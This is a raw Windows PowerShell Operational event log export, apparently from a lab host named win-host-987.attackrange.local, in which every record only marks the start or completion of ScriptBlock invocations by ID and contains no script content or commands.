SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032925
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032919
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032895
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032893
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032892
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
